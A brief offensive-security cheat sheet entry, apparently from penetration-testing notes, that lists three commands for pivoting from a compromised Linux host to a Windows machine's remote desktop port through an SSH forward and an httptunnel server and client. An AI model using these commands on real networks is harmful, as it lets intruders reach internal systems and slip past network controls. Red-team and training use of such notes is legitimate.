HTTPtunnel

Create a tunnel between a compromised Linux machine and a remote Windows system using remote desktop (compromised host)

ssh -L 0.0.0.0:8888:<windows ip>:3389 <username>@127.0.0.1

Create HTTP tunnel from compromised Linux machine to our attacker machine

hts --forward-port localhost:8888 1234

Connect to our HTTP tunnel on our compromised Linux machine from our attacker machine

htc --forward-port 8080 <compromised linux ip>:1234